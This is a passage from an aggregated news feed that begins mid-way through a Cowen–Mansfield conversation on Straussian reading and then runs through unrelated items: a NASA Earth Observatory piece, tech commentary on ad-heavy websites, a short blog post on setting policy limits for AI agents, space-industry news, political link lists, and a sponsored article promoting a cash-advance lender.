COWEN: From a Straussian perspective, where’s the role for the skills of a good analytic philosopher? How does that fit into Straussianism? I’ve never quite understood that. They seem to be very separate approaches, at least sociologically.

MANSFIELD: Analytic philosophers look for arguments and isolate them. Strauss looks for arguments and puts them in the context of a dialogue or the implicit dialogue. Instead of counting up one, two, three, four meanings of a word, as analytic philosophers do, he says, why is this argument appropriate for this audience and in this text? Why is it put where it was and not earlier or later?

Strauss treats an argument as if it were in a play, which has a plot and a background and a context, whereas analytic philosophy tries to withdraw the argument from where it was in Plato to see what would we think of it today and what other arguments can be said against it without really wanting to choose which is the truth.

COWEN: Are they complements or substitutes, the analytic approach and the Straussian approach?

MANSFIELD: I wouldn’t say complements, no. Strauss’s approach is to look at the context of an argument rather than to take it out of its context. To take it out of its context means to deprive it of the story that it represents. Analytic philosophy takes arguments out of their context and arranges them in an array. It then tries to compare those abstracted arguments.

Strauss doesn’t try to abstract, but he looks to the context. The context is always something doubtful. Every Platonic dialogue leaves something out. The Republic, for example, doesn’t tell you about what people love instead of how people defend things. Since that’s the case, every argument in such a dialogue is intentionally a bad argument. It’s meant for a particular person, and it’s set to him.

The analytic philosopher doesn’t understand that arguments, especially in a Platonic dialogue, can deliberately be inferior. It easily or too easily refutes the argument which you are supposed to take out of a Platonic dialogue and understand for yourself. Socrates always speaks down to people. He is better than his interlocutors. What you, as an observer or reader, are supposed to do is to take the argument that’s going down, that’s intended for somebody who doesn’t understand very well, and raise it to the level of the argument that Socrates would want to accept.

So to the extent that all great books have the character of this downward shift, all great books have the character of speaking down to someone and presenting truth in an inferior but still attractive way. The reader has to take that shift in view and raise it to the level that the author had. What I’m describing is irony. What distinguishes analytic philosophy from Strauss is the lack of irony in analytic philosophy. Philosophy must always take account of nonphilosophy or budding philosophers and not simply speak straight out and give a flat statement of what you think is true.

To go back to Rawls, Rawls based his philosophy on what he called public reason, which meant that the reason that convinces Rawls is no different from the reason that he gives out to the public. Whereas Strauss said reason is never public or universal in this way because it has to take account of the character of the audience, which is usually less reasonable than the author.

And yes he does tell us what Straussianism means and how to learn to be a Straussian.  From his discussion you will see rather obviously that I am not one.  Overall, I found this dialogue to be the most useful source I have found for figuring out how Straussianism fits into other things, such as analytics philosophy, historical reading of texts, and empirical social science.

Perhaps the exchange is a little slow to start, but otherwise fascinating throughout.  I am also happy to recommend Harvey’s recent book The Rise and Fall of Rational Control: The History of Modern Political Philosophy.

The post My excellent Conversation with Harvey Mansfield appeared first on Marginal REVOLUTION.

       

Comments

Related Stories

 

Australia’s “Red Centre” Turns Green

January 21, 2026
March 10, 2026
Central Australia’s desert landscape appears predominantly rusty red.
Central Australia’s desert landscape appears predominantly rusty red.
NASA Earth Observatory / Lauren Dauphin
Central Australia’s desert landscape shows widespread green vegetation across areas that are typically red.
Central Australia’s desert landscape shows widespread green vegetation across areas that are typically red.
NASA Earth Observatory / Lauren Dauphin

The town of Alice Springs lies near Australia’s geographic center, in a region often called the “Red Centre” for the rusty hue of its desert landscape. After weeks of heavy rainfall in February and March 2026, however, vast areas of desert and surrounding mountains turned lush and green. 

The MODIS (Moderate Resolution Imaging Spectroradiometer) on NASA’s Terra satellite captured this image (right) of the southern part of Australia’s Northern Territory on March 10, 2026. For comparison, the left image shows the same area in January 2026, before the onset of heavy rains.

The area’s landscape typically appears red due to the oxidation of iron-rich rock. During periods of sufficient rainfall, water begins to flow in previously dry riverbeds, and dormant vegetation springs to life. February 2026 brought more than enough water to the Northern Territory for the transformation to occur—an area average of 239 millimeters (9 inches)—marking the territory’s third-wettest February on a record that dates back to 1900, according to the Bureau of Meteorology.

Beyond the transformation visible from above, the rainfall also caused disruptions on the ground. Thunderstorms earlier in the month produced enough rain to cause water levels on the Todd River and other area rivers to quickly rise, while flash flooding in Alice Springs uprooted trees and left some people stranded, according to news reports. Later in the month, heavy rains returned as another tropical low stalled over central Australia for nearly a week, causing flooding that prompted officials to declare a natural disaster.

As of late March, more extreme weather was on the way for Australia with the approach of Tropical Cyclone Narelle. Bureau of Meteorology forecasts called for severe storm impacts to reach northern Queensland by late on March 19 or March 20. Flooding watches and warnings also extended inland, including to Alice Springs, where past storms have already saturated river catchments.  

NASA Earth Observatory image by Lauren Dauphin, using MODIS data from NASA EOSDIS LANCE and GIBS/Worldview. Story by Kathryn Hansen.

References & Resources

You may also be interested in:

Stay up-to-date with the latest content from NASA as we explore the universe and discover more about our home planet.

Pacific Moisture Drenches the U.S. Northwest
3 min read

A potent atmospheric river delivered intense rainfall to western Washington, triggering flooding and mudslides.

Article
Summer Heat Hits Southeastern Australia
4 min read

January brought blistering extremes Down Under as record temperatures scorched the nation’s southeast.

Article
Dry-Season Floods Drench Northern Colombia
3 min read

Villages and farmland were swamped after unusually heavy early-February rains pushed the Sinú River over its banks.

Article

The post Australia’s “Red Centre” Turns Green appeared first on NASA Science.

★ ‘Your Frustration Is the Product’

Shubham Bose, “The 49MB Web Page”:

I went to the New York Times to glimpse at four headlines and was greeted with 422 network requests and 49 megabytes of data. It took two minutes before the page settled. And then you wonder why every sane tech person has an adblocker installed on systems of all their loved ones.

It is the same story across top publishers today.

This is an absolutely devastating deconstruction of the current web landscape. I implore you to pause here, and read Bose’s entire amply illustrated essay. I’ll wait.


Even websites from publishers who care about quality are doing things on the web that they would never do with their print editions. Bose starts with The New York Times, but also mentions The Guardian, whose web pages are so laden with ads and modals that their default layout, on a mobile device, sometimes leaves just 11 percent of the screen for article content. That’s four lines of article text.

Bose writes:

Viewability and time-on-page are very important metrics these days. Every hostile UX decision originates from this single fact. The longer you’re trapped on the page, the higher the CPM the publisher can charge. Your frustration is the product. No wonder engineers and designers make every UX decision that optimizes for that. And you, the reader, are forced to interact, wait, click, scroll multiple times because of this optimization. Not only is it a step in the wrong direction, it is adversarial by design.

The reader is not respected enough by the software. The publisher is held hostage by incentives from an auction system that not only encourages but also rewards dark patterns.

I disagree only insofar as the reader isn’t respected at all. Part of my ongoing testing of the MacBook Neo is that I’ve been using it in as default a state as possible, only changing default settings, and only adding third-party software, as necessary. So I’ve been browsing the web without content-blocking extensions on the Neo. It’s been a while since I’ve done that for an extended period of time. Most of the advertising-bearing websites I read have gotten so bad that it’s almost beyond parody.

And even with content blockers installed (of late, I’ve been using and enjoying uBlock Origin Lite in Safari), many of these news websites intersperse bullshit like requests to subscribe to their newsletters, or links to other articles on their site — often totally unrelated to the one you’re trying to read — every few paragraphs. And the fucking autoplay videos, jesus. You read two paragraphs and there’s a box that interrupts you. You read another two paragraphs and there’s another interruption. All the way until the end of the article. We’re visiting their website to read a fucking article. If we wanted to watch videos, we’d be on YouTube. It’s like going to a restaurant, ordering a cheeseburger, and they send a marching band to your table to play trumpets right in your ear and squirt you with a water pistol while trying to sell you towels.

No print publication on the planet does this. The print editions of the very same publications — The New York Times, The Guardian, The Wall Street Journal, The Atlantic, The New Yorker — don’t do anything like this. The print edition of The New Yorker could not possibly be more respectful of both the reader’s attention and the sanctity of the prose they publish. But read an article on their website and you get autoplaying videos interspersed between random paragraphs. And the videos have nothing to do with the article you’re reading. I mean, we should be so lucky if every website were as respectfully designed as The New Yorker’s, but even their website — comparatively speaking, one of the “good ones” — shows only a fraction of the respect for the reader that their print edition does.

Without an ad-blocking content blocker running, one of the most crazy-making design patterns today is repeating the exact same ad within the same article, every few paragraphs. It’s hard to find a single article on Apple News — a sort of ersatz pidgin version of the web — that does not do this. The exact same ad — 6, 7, 8 times within the same article. How many 30-something blonde white women need hearing aids? It’s insane.

People are spending less and less time on the web because websites are becoming worse and worse experiences, but the publishers of websites are almost literally trying to dig their way out of that hole by adding more and more of the reader-hostile shit that is driving people away. The Guardian screenshot Bose captured, where only 11 percent of the entire screen shows text from the article, is the equivalent of a broadcast TV channel that only showed 7 minutes of actual TV content per hour, devoting the other 53 minutes to paid commercials and promotions for other shows on the same channel. Almost no one would watch such a channel. But somehow this strategy is deemed sustainable for websites.

The web is the only medium the world has ever seen where its highest-profile decision makers are people who despise the medium and are trying to drive people away from it. As Bose notes, “A lot of websites actively interfere the reader from accessing them by pestering them with their ‘apps’ these days. I don’t know where this fascination with getting everyone to download your app comes from.” It comes from people who literally do not understand, and do not enjoy, the web, but yet find themselves running large websites.

The people making these decisions for these websites are like ocean liner captains who are trying to hit icebergs.

How to Identify Your Apple Keyboard Layout by Country or Region

This support page is a fascinating footnote regarding the recent changes Apple has made to their U.S. key cap labels.

 ★ 

Jony Ive on Redesigning the Christie’s Rostrum

Who do you turn to when you’re Christie’s and you want to commission the finest rostrum the world has ever seen? Who else but Jony Ive and LoveFrom. I mean, I’d love to snark about this, but goddamnit, that’s a lovely piece of furniture.

 ★ 

Meta Is Dropping VR Support From Horizon Worlds

David Heaney, writing for UploadVR:

Meta Horizon Worlds is dropping VR support in June, meaning it will only be available as a flatscreen experience for the web and smartphones.

By March 31, Meta says the Horizon Worlds app will be delisted from Quest’s store, and key first-party worlds such as Horizon Central, Events Arena, Kaiju, and Bobber Bay will no longer be accessible in VR. Then, from June 15, the Horizon Worlds app will be removed from Quest headsets, and all worlds will no longer be accessible in VR.

Yours truly, three months ago: “Meta Says Fuck That Metaverse Shit”.

 ★ 

David Zaslav Set to Receive Up to $887 Million if Paramount Acquisition of Warner Bros Closes

Jake Conley, reporting for Yahoo Finance:

If the deal closes, Zaslav will receive $517.2 million in equity that would trigger if and when the sale goes through, along with roughly $34.2 million in cash and $44.2 million in benefits tied to the value of health coverage reimbursement. The Warner Bros. CEO will also get roughly $335.4 million in tax reimbursements. **

Just before the end of February, Warner Bros. agreed to a full acquisition by Paramount Skydance at $31 per share in a deal valued at about $110 billion.

The cash and equity are outrageous enough, but what in the everlasting fuck is “$44.2 million in benefits tied to the value of health coverage reimbursement”? They might as well pay Zaslav an extra $40 million for reticulating splines while they’re at it.

[Update: Variety reports that Zaslav is getting $44,195 in “continued health coverage reimbursement benefits”, which suggests that Conley at Yahoo incorrectly assumed a couple of extra zeroes on the health coverage number. Which would be a reasonable mistake to make — who but a total asshole would give a shit about $44,000 in insurance benefits as part of a $550 million heist? Assuming that was a mistake, Conley’s error wasn’t assuming the extra zeroes, it was forgetting that Zaslav is, quite obviously, a total asshole.]

“Hayden”, on Twitter/X:

The man redesigned the HBO logo five times, the company lost 50% of its value, and he made $887 million. We might be looking at the greatest businessman to ever exist.

The greatest something, for sure. I wouldn’t use the word “businessman”.

 ★ 

The Talk Show: ‘The Pogue Feature’

Special guest David Pogue discusses his excellent and amazingly comprehensive new book, Apple: The First 50 Years.

Sponsored by:

  • Notion: The AI workspace where teams and AI agents get more done together.
  • Squarespace: Save 10% off your first purchase of a website or domain using code talkshow.
  • Factor: Healthy eating, made easy. Get 50% off your first box, plus free breakfast for 1 year, with code talkshow50off.
 ★ 

Music To Build Agents By

Music To Build Agents By

I don't have this problem, because I don't use a mouse.

Press play, then start reading:

Want to learn how to think about agent policy? Start with Goethe’s Der Zauberlehrling.

So come along, you old broomstick! Dress yourself in rotten rags! You’ve long been a servant; Obey my orders now!

When I talk to customers and teams around me about agents and agent policy, and the work we’re doing on AgentCore Policy (now GA) and Strands Steering, I hear a lot of folks worried about adversarial agents, about prompt injection, and about hallucinations. That’s not unreasonable, because all those things exist, and are worth paying attention to. But the most common problem is a more basic one, more Fantasia than James Bond.

AI agents are persistent problem solvers. You ask them to solve a problem, and they’ll go to work solving the problem.

Look, he’s running down to the bank; In truth! He’s already reached the river, And back he comes as quick as lightning And swiftly pours it all out.

That’s exactly what makes agents powerful. If we knew how to solve the problem as a fixed workflow, we probably wouldn’t bother with an agent. Workflows are faster, cheaper, and simpler. We build agents because they’re persistent, because they handle edge cases, because they can adapt to changing circumstances and work around problems.

And this is also why they need policy (and should be in a box).

Alas! speedily he runs and fetches! If only you were a broom as before! He keeps rushing in With more and more water, Alas! a hundred rivers Pour down on my head!

Policy layers like AgentCore Policy and structured steering like Strands Steering allow us to define limits on the agent’s behavior. They allow us to make sure that agents stop when the basin is full, and to avoid pouring water all over the floor. That’s important even if your agent is insulated from adversaries, and if your model is free from hallucinations. In fact, it becomes more and more important as models become more powerful, and able to solve longer-running problems.

Now, jump ahead to here:

Ah, my master comes at last! Sir, I’m in desperate straits! The spirits I summoned - I can’t get rid of them.

Wednesday 18 March 1662/63

Wake betimes and talk a while with my wife about a wench that she has hired yesterday, which I would have enquired of before she comes, she having lived in great families, and so up and to my office, where all the morning, and at noon home to dinner. After dinner by water to Redriffe, my wife and Ashwell with me, and so walked and left them at Halfway house; I to Deptford, where up and down the store-houses, and on board two or three ships now getting ready to go to sea, and so back, and find my wife walking in the way. So home again, merry with our Ashwell, who is a merry jade, and so awhile to my office, and then home to supper, and to bed. This day my tryangle, which was put in tune yesterday, did please me very well, Ashwell playing upon it pretty well.

Read the annotations

Solar array deal sheds more light on South Korea’s defense constellation

South Korea’s plans for a national security constellation are coming into sharper focus after a March 18 solar array supply deal set the stage for a first demonstrator as early as the second half of 2027.

The post Solar array deal sheds more light on South Korea’s defense constellation appeared first on SpaceNews.

Frontier justice: navigating the future legal landscape for private actors in space law

Lessons from the American West can help guide a legal framework for space exploration. Credit: NASA

At the dawn of the Space Age, then President-elect John F. Kennedy spoke to the American people of “a new frontier” of unknown opportunities and perils, unfulfilled hopes and unfilled threats, uncharted science and unsolved problems. Six years later, Star Trek expanded on President Kennedy’s new frontier premise with tales of the starship Enterprise boldly […]

The post Frontier justice: navigating the future legal landscape for private actors in space law appeared first on SpaceNews.

China signals new target for 2027 asteroid deflection test

DART illustration

China has identified a new target near-Earth asteroid for its first planetary defense kinetic test mission, which is scheduled to launch in December 2027. 

The post China signals new target for 2027 asteroid deflection test appeared first on SpaceNews.

NASA grappling with planetary science funding shortfall

MAVEN

NASA’s planetary science program, while spared steep cuts proposed last year, is still facing a funding shortfall that requires “strategic choices” about which missions to continue.

The post NASA grappling with planetary science funding shortfall appeared first on SpaceNews.

Links 3/18/26

Links for you. Science:

MIT study finds Earth’s first animals were likely ancient sea sponges
Deadly bird flu found in California elephant seals for the first time
There are key differences in long-term impacts of COVID and flu
An Army Corps project could wipe out one of Florida’s last thriving coral reefs
Scientists Reveal the Surprising Sex Lives of Neanderthals and Early Humans
Acceleration hotspots of North American birds’ decline are associated with agriculture

Other:

U.S. Troops Were Told Iran War Is for “Armageddon,” Return of Jesus
CBP Tapped Into the Online Advertising Ecosystem To Track Peoples’ Movements
N.Y. Attorney General Orders Hospital to Resume Youth Transgender Care
Who loses from the Anthropic fight? Maybe Elon Musk and Alex Karp.
An Unpopular, Doomed, Bloody War
American schools weren’t broken until Silicon Valley used a lie to convince them they were—now reading and math scores are plummeting
A Nationwide Book Ban Bill Has Been Introduced in the House of Representatives. Hours after the State of the Union address, House republicans introduced legislation banning LGBTQ+ books from public schools nationwide.
Law School Tells Students, ‘You MUST Be Aligned Politically With President Trump,’ For Summer Job
DC loves its historic neighborhoods. Its permitting system wouldn’t allow them today
Marco Rubio invoked a medieval antisemitic trope in justifying war with Iran
Resist ‘dangerous and socially unacceptable’ age checks for social media, scientists warn
US Commanders Want to Make War With Iran as ‘Bloody’ as Possible to Bring About Biblical End Times, Officers Report
Jasmine Crockett’s Cryptocurrency History Is Under Scrutiny. Here’s What Her Record Tells Us.
Military Commander Tells Troops Bombing Iran Is ‘Part Of God’s Divine Plan’
Judge to Trump on Congestion Pricing: Get Outta Here
The money behind the new Iran War
Republicans Wage War As Politics …and politics as war.
The US/Israeli Bombing Of Iran: Means and Ways Without Ends (“Stop asking what the US government’s intentions are, they do not exist outside of the personal interests of Donald Trump.”)
The Great Replacement of Conservative Ideology
The Disappearing American Mortgage
Trump Labor Secretary Caught Using Govt Funds for Her Birthday Party
Pete Hegseth’s Crazed, Angry Tirades on Iran Give Dems a Big Opening
‘Disgraceful’: What McKee’s remark says about his warped view of primary elections
The casino-fication of war
Prosecutors Keep Charging Women Who Have Abortions For Crimes They Did Not Commit
Confidential database reveals which items NPS thinks may ‘disparage’ America
Parents Tried to Shield Their Children From Vaccines. Instead They Got Measles. Spartanburg County in South Carolina is ground zero for the largest measles outbreak since 2000. One school has a vaccination rate of 21 percent.
She’d Never Changed Her Gender Marker. Kansas Invalidated Her License Anyway. A trans Kansas resident recently changed her name but not her gender marker on her license, fearing what Kansas may do if she did. The Kansas DMV still flagged her ID.
McTuscan heaven
Many alleged suicides of Black trans women are in fact modern-day lynchings, report finds. Jill Collen Jefferson, the founder of JULIAN, explains what happens when a transgender woman’s death is ruled a suicide and a community calls it something else.

Rocket Lab wins $190 million Pentagon deal for hypersonic test flights

The contract is for 20 hypersonic flight missions over four years

The post Rocket Lab wins $190 million Pentagon deal for hypersonic test flights appeared first on SpaceNews.

Space Command classified wargame to include 50 commercial players

Maj. Gen. Keener: The exercise will help Space Command ‘better understand commercial challenges, requirements, and how we can better work together’

The post Space Command classified wargame to include 50 commercial players appeared first on SpaceNews.

TransAstra aims to move 100-ton asteroid to stable orbit for processing

SAN FRANCISCO — TransAstra is performing a study, funded by investors and customers, to explore the technical feasibility of moving a 100-metric-ton asteroid to a stable near-Earth orbit. “We want to bring an asteroid to the Earth-moon system and turn it into a robotic research outpost for materials processing and manufacturing in space,” Joel Sercel, […]

The post TransAstra aims to move 100-ton asteroid to stable orbit for processing appeared first on SpaceNews.

Oh, Cesar

The Accusations Against Cesar Chavez and the Pain of a Shattered Hero

Oh, Cesar. You’ve broken my heart. Accusations of Cesar sexually abusing young girls have come out. The New York Times did a detailed and careful look at the evidence and it certainly looks to be true.

Cesar Chavez was, and will continue to be, perhaps my greatest hero. His enormous sacrifice, it’s effectiveness, that it went on his whole life and cost him wealth, health, and any sort of normal life. A length and depth of heroism and sacrifice that’s hard to find others comparable to. For all of that he will continue to be my hero, but now with a devastating and critical flaw.

I wrote about him back in 2012, admiring his character and his accomplishments, and have continued to carry that admiration. Now these accusations, they don’t change that side of him, but they add another horribly unfortunate side. The damage to we who admired him, the damage to his reputation and causes, is terrible but of course the harm to those victims is the worst part of it.

Reverend Martin Luther King Junior was often rumored to have affairs but that’s a common human foible and something for married couples to sort out between themselves. It’s not like the amoral disregard for the harm Cesar apparently inflicted on these young victims.

While I admire his good side and his causes, if he were alive and running for office today I would vote against him. It’s one of the oddities of the Trump period that people could know of his immorality, which he has openly bragged about, yet vote for him. I couldn’t do that. He has no confirmed allegations against anyone under age, but he has demonstrated almost unbounded amoral disregard for harms he’s willing to do to others. If a candidate promised all the policy changes I could wish for, and seemed a credible leader who could carry them out, but was flagrantly immoral, not just in personal ways like affairs but in ways that hurt victims and innocent people, I couldn’t vote for them. I would have to decide that progressive progress would just have to skip this opportunity and work for and hope for a better candidate next time.

But Cesar had seemed to have none of that. He seemed about as close to a human angel as could be. Now… Oh, Cesar.


“FREEDOM OF THE PRESS IS NOT JUST IMPORTANT TO DEMOCRACY, IT IS DEMOCRACY.” – Walter Cronkite. CLICK HERE to donate in support of our free and independent voice.

The post Oh, Cesar appeared first on DCReport.org.

What if Donald Trump decided to ban oil exports?

Trying to keep prices low that way could backfire spectacularly

SpaceX launches 29 Starlink satellites on Falcon 9 rocket from Cape Canaveral

A SpaceX Falcon 9 rocket lifts off from Space Launch Complex 40 at Cape Canaveral Space Force Station to begin the Starlink 10-33 mission on March 19, 2026. Image: Adam Bernstein/Spaceflight Now

Update March 19, 11:30 a.m. EDT (1530 UTC): SpaceX confirmed deployment of the 29 Starlink satellites.

SpaceX completed its 29th Starlink mission of the year, which launched on a Falcon 9 rocket from Cape Canaveral Space Force Station on Thursday morning.

The Starlink 10-33 mission added another 29 Starlink V2 Mini satellites to the low Earth orbit megaconstellation, which now consists of more than 10,000 spacecraft.

Liftoff from Space Launch Complex 40 happened at 10:20 a.m. EDT (1420 UTC). The Falcon 9 rocket flew on a north-easterly trajectory upon leaving the pad.

The 45th Weather Squadron forecast a mixed outlook for a launch on Thursday morning. Launch weather officers predict that there will be a 75 percent chance for favorable conditions at the opening of the window. That drops to 60 percent favorable by the end of the window.

“Although dry conditions will persist today, coastal showers may develop on Thursday, some of which could move near the launch pad during the primary launch window,” meteorologists wrote on Wednesday.

“Additionally, mid-level clouds may approach the region early Thursday, possibly overlapping with the primary launch window, as well. Given this, there is a low risk of a Cumulus Cloud Rule and Thick Cloud Layers rule violation Thursday morning.”

SpaceX launched the mission using the Falcon 9 first stage booster with the tail number 1077. This was its 27th flight after launching missions, like NASA’s Crew-5, CRS-28, and NG-20.

Nearly 8.5 minutes after liftoff, B1077 landed on the drone ship, ‘Just Read the Instructions’, positioned in the Atlantic Ocean. This was the 154th landing on this vessel and the 588th booster landing to date.

The 29 Starlink satellites were deployed from the rocket’s upper stage a little more than an hour after liftoff.

*Recession*, by Tyler Goodspeed

The subtitle is The Real Reasons Economies Shrink and What To Do About It.  Here is from the book’s summary:

Contrary to popular perception, recessions are not the inevitable bust that follows an unsustainable boom, and they do not operate like wildfires that clear out economic deadwood. Recessions are caused by adverse shocks like war and energy price spikes; and far from unleashing gales of creative destruction, post-recession economic growth typically resumes the same trend as before—all pain, no gain.

The book covers American history and focuses on verbal exposition of the theory, not mathematics.  Overall, Goodspeed provides an underrated perspective in an era where 2008-2009 led people to become overly obsessed with issues of aggregate demand.  Our current presidency may be curing this however!

The post *Recession*, by Tyler Goodspeed appeared first on Marginal REVOLUTION.

       

Comments

Related Stories

 

Landscape Features

'Well, there's speculation that it's due to a mantle hotspot.' --a geologist who's trying to cover up the fact that they didn't hear your question

How 1F Cash Advance Supports Financial Inclusion in the US

Around the world, digital banking has made financial services more accessible and convenient. Over the last decade, the number of unbanked adults has decreased from 2.5 billion to 1.4 billion. Behind these figures are millions of people who can now keep their money safe, borrow at fair rates, and handle emergencies without falling into debt traps.

“Financial inclusion in banking means more than just opening an account,” says Eric Bank, Finance and Business Writer at 1F Cash Advance. “It’s about making sure financial services are affordable and available to everyone. When people can access fair loans and simple tools to manage money, they not only cover today’s needs but also gain the chance to build stability for the future.”

Still, even in the United States, millions remain outside the system. Many families have no bank account or cannot rely on their bank for an affordable loan. As a result, everyday expenses and sudden emergencies often create serious stress. Today, nearly 7 in 10 Americans report financial anxiety. This highlights the importance of expanding access to clear, fair, and inclusive funding options and why services like 1F Cash Advance are crucial in closing the gap.

The Meaning and Importance of Financial Inclusion

Financial inclusion means that every person has access to the basic tools needed to manage their finances, such as a bank account, simple ways to send and receive payments, and reliable insurance. These services must not only be available but also safe, transparent, and affordable over time. When people can use them freely, they become full participants in the financial system. And this participation creates a solid foundation: it helps families stay resilient in tough times and gives them the opportunity to build long-term stability and wealth.

Financial inclusion is considered a “key enabler” for cutting poverty and boosting shared prosperity. It supports entrepreneurship, marginalized groups, and overall economic growth. 

Financial Inclusion in the U.S.: Unbanked and Underbanked

Unfortunately, the system is not functioning optimally for all consumers at this time. Millions of Americans lack full access to banking and loans. 

What Does It Mean to Be Underbanked?

Being underbanked means you have a bank account, but you still depend on other, often more expensive, financial services. For example, you might keep money in a checking account but regularly use payday loans, check-cashing stores, or money transfer services to get by. The FDIC defines the underbanked this way: people with insured bank accounts who still rely on alternative financial services because traditional banking doesn’t meet their needs.

What are Some of the Reasons that People are Unbanked?

A person is considered unbanked if they don’t have a checking or savings account with a bank or credit union that’s FDIC-insured. In other words, they live completely outside the formal banking system. Instead of using an account, they rely on cash for almost everything—getting paid, paying bills, and keeping their money safe. All of their savings are stored in physical form, often at home or through informal methods, rather than in a secure bank.

Why does this happen? In many cases, people lack easy access to a bank branch or a reliable internet connection, making it difficult for them to use online banking. Others avoid banks because fees feel too high or unpredictable, especially for those living paycheck to paycheck. Some people believe they don’t have “enough money” to make a bank account worthwhile. And for many, there’s also distrust. Banks are required to comply with Know Your Customer (KYC) and Anti-Money Laundering (AML) regulations, meaning they are obligated to collect customers’ personal information.

The Nationwide Comparison

In 2023, data showed big differences in how many families were unbanked or underbanked across the U.S. Twenty states with the largest rates of unbanked residents were identified. The highest numbers were in the South, with Mississippi at 9.4% and Louisiana at 8.0%. On the other end, Vermont and Virginia had the lowest share, just 0.9%. The pattern for underbanked households looked very similar, showing that access to banking depends a lot on where people live. 

Figure 1. Comparison of Unbanked and Underbanked Households by State, 2023
Figure 1. Comparison of Unbanked and Underbanked Households by State, 2023

Practical Steps Taken by 1F Cash Advance

1F Cash Advance is a U.S.-based financial service that provides quick, small-dollar loans through an online platform. In recent years, the company has expanded its nationwide presence, positioning itself as a convenient source of emergency funds for individuals who may not qualify for or have the time to obtain traditional loans. They follow several ways of contributing to financial inclusion in the U.S.:

Expanding Easy Access to Loans for the Underbanked

A core goal of financial inclusion is to ensure that loans are accessible to those who need them, including individuals with imperfect credit histories or low incomes. 1F Cash Advance addresses this by using more flexible approval requirements. Rather than relying solely on credit scores, the company focuses on an applicant’s current income and near-term ability to repay. If an applicant has a steady income or another reliable source of earnings, they may qualify. This approach can expand access for borrowers who might be turned down elsewhere.

As of March 2026, 1F Cash Advance operates over 80 storefront locations across multiple states, in addition to its online service. This footprint gives more communities access to nearby short-term lending, with the company complying with local regulations and rate caps in each state. To illustrate approval patterns in Q4 2025, the table below shows approval rates by credit tier for 1F Cash Advance applicants.

Figure 2. Loan Approval Rates by Credit Tier at 1F Cash Advance, Q4 2025
Figure 2. Loan Approval Rates by Credit Tier at 1F Cash Advance, Q4 2025

Quick and Convenient Services Through Technology

“We try to keep the process fast and simple, because our underbanked customers need it. In a financial emergency, the bills are due now, and we get the point,”  said Edward Evans, Money Management Expert at 1F Cash Advance.

The company has built its service to provide near-instant approvals and fast funding. Applications are done online, using a straightforward form that takes only minutes to fill out. Thanks to automation and advanced analytics, the platform can often deliver a lending decision within an hour or even immediately:

Figure 3. Loan Decision Times at 1F Cash Advance, Q2–Q3 2025
Figure 3. Loan Decision Times at 1F Cash Advance, Q2–Q3 2025

With 1F Cash Advance, you can get funds entirely online at any time of day. This is a big advantage for people who don’t live near a bank branch or whose work schedules make it difficult to visit lenders in person. Going digital also helps remove the stress many consumers feel when dealing with banks face-to-face—whether it’s the fear of being judged for their financial situation, the pressure of complex paperwork, or the worry of being declined in front of others. Instead, they can apply privately and comfortably from the comfort of their own home. This level of convenience reflects a broader trend in financial inclusion: meeting customers where they are. And just as important as convenience is speed—how quickly someone can actually get the money they need.

Figure 4. Time to Funding After Loan Approval at 1F Cash Advance, Q2–Q3 2025
Figure 4. Time to Funding After Loan Approval at 1F Cash Advance, Q2–Q3 2025

Transparent, Responsible Lending Practices

“Financial inclusion must also be about fairness and sustainability. If a loan product puts borrowers in a worse position through hidden fees or unaffordable terms, it’s not truly inclusive – it’s exploitative. We strictly prioritize transparency and consumer protection as part of our company’s model,” explains Latoria Williams, CEO at 1F Cash Advance. 

The loan terms are presented with clear repayment schedules and total costs upfront, so borrowers know exactly what they must pay and by when. The service helps clients avoid the confusion or surprises that have often plagued payday lending. That’s the best practice urged by regulators for small-dollar loans as part of expanding financial inclusion

Compliance might sound technical, but it has a real impact. For instance, many states cap payday loan APRs to prevent excessively high rates, and by following these laws, 1F Cash Advance cannot charge beyond what’s deemed reasonable in those jurisdictions. Beyond just meeting the legal requirements, the company has taken steps to educate its borrowers, a somewhat unique feature in the quick-loan industry. They are tips on budgeting for repayment, setting up reminders, and avoiding taking on more debt than necessary. The idea is to help customers use the product wisely, building trust in the company simultaneously.

Real-Life Impact on Financial Inclusion

The best way to measure whether a lender is truly inclusive is to look at how it supports people in their everyday lives. At 1F Cash Advance, the data makes this clear: quick loans often serve as a real lifeline. After reviewing thousands of cases, the company found that most borrowers turned to these loans for essential needs, such as:

  • Rent or household bills – 41% 
  • Unexpected medical expenses – 27%
  • Car repairs or essential transportation needs – 15%
  • Grocery bills and basic living costs – 9%
  • Family emergencies or relocation expenses – 8%.

Well, Americans aren’t taking out short-term loans for luxuries; they’re doing it to solve urgent, unavoidable challenges in their lives. When 1F Cash Advance can deliver funds quickly in these situations, it can prevent worse outcomes. One more indicator of impact is how many people are being reached:

 Figure 5. Application Growth by State at 1F Cash Advance, 2023–2024

Figure 5. Application Growth by State at 1F Cash Advance, 2023–2024

This role becomes even more significant when placed in the broader context of today’s economy. The economic effects of tighter lending by banks reveal how many households are being left behind. At the same time, inflation in recent years has increased the burden on family budgets, making affordable financial solutions especially in demand.

In this environment, fast and flexible services like those offered by 1F Cash Advance fill a crucial gap. They provide a financial safety net for the modern workforce, ensuring that essential needs can still be met even when a mainstream loan is unavailable. Importantly, this support does not compete with banks but complements the financial system, demonstrating how alternative lenders can act as partners in achieving financial inclusion.

Toward an Inclusive Financial Future

The need to develop strategies to improve financial inclusion is clear. Bank On accounts, instant payments, and more consumer-focused online lenders are lowering barriers. The share of unbanked households is near historic lows, and millions more have opened accounts over the past decade. But gaps remain: low-income families, people of color, and gig workers still struggle to find fair, simple financial services.

Fintechs and other nonbank providers play a crucial role in reaching people that the traditional system doesn’t. As an online lender, 1F Cash Advance uses technology to reduce paperwork, provide plain-language pricing, and deliver funds quickly.

Supporting financial inclusion in the U.S. means meeting people where they are financially. Each year, more Americans gain access to basic accounts, digital payments become more widespread, and alternative online financial services face stronger oversight. With continued innovation, exemplified by 1F Cash Advance’s model, a more inclusive financial system is within reach. 

About Author

Marsha Welch is a financial writer who helps people navigate loans without unnecessary stress. She writes in a way that does not scare or confuse. Marsha structures explanations in a logical, step-by-step way, so even complex topics make sense on the first read.

At 1F Cash Advance, she is responsible for how the loan process is explained on the site. Marsha revises and updates content to keep it simple and current, even when terms and products change. Her goal is to help readers calmly compare options and understand the fine print before they make a decision.

Photo: benzoix via Freepik.


CLICK HERE TO DONATE IN SUPPORT OF DCREPORT’S NONPROFIT NEWSROOM

The post How 1F Cash Advance Supports Financial Inclusion in the US appeared first on DCReport.org.

Knocking Off Iranian Leaders

Trump’s Iran Strategy in Doubt After Israeli Assassinations of Key Figures

